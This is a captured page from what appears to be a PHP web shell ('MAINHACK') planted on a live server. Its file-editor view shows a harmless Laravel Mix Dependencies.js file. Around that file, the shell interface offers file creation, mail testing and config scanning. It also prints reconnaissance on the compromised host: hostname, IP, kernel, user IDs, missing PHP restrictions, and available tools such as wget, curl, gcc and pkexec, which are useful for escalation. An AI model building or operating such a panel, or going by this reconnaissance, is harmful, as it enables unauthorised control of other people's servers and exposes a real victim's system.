[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Dependencies.js
let Log = require('./Log'); let PackageManager = require('./PackageManager'); let { PackageDependency } = require('./PackageDependency'); class Dependencies { /** @type {PackageDependency[]} */ items = []; requiresReload = false; /** * Create a new Dependencies instance. * * @param {import('./PackageDependency').Dependency[]} deps */ enqueue(deps, requiresReload = false) { this.items.push(...deps.filter(dep => dep).map(PackageDependency.from)); this.requiresReload = this.requiresReload || requiresReload; return this; } /** * Install all dependencies that aren't available. */ async install() { const packages = await this.installablePackages(); if (!packages.length) { return; } await this.execute(this.buildInstallCommand(packages)); } async installablePackages() { const results = await Promise.all( this.items.map(async dep => { if (await dep.needsInstallation()) { return dep; } return null; }) ); return /** @type {PackageDependency[]} */ (results.filter(Boolean)); } /** * Execute the provided console command. * * @param {string} command */ async execute(command) { Log.feedback( 'Additional dependencies must be installed. This will only take a moment.' ); Log.feedback(`Running: ${command}`); const childProcess = require('child_process'); const { promisify } = require('util'); await promisify(childProcess.exec)(command); this.respond(); } /** * Build the dependency install command. * * @param {PackageDependency[]} deps */ buildInstallCommand(deps) { const list = deps.map(dep => dep.package).join(' '); switch (PackageManager.detect()) { case 'npm': return `npm install ${list} --save-dev --legacy-peer-deps`; case 'yarn': return `yarn add ${list} --dev`; } } /** * Complete the install process. */ respond() { if (!this.requiresReload) { return; } Log.feedback('Finished. Please run Mix again.'); if (process.env.NODE_ENV !== 'test') { process.exit(1); } } } module.exports = Dependencies;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.7 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002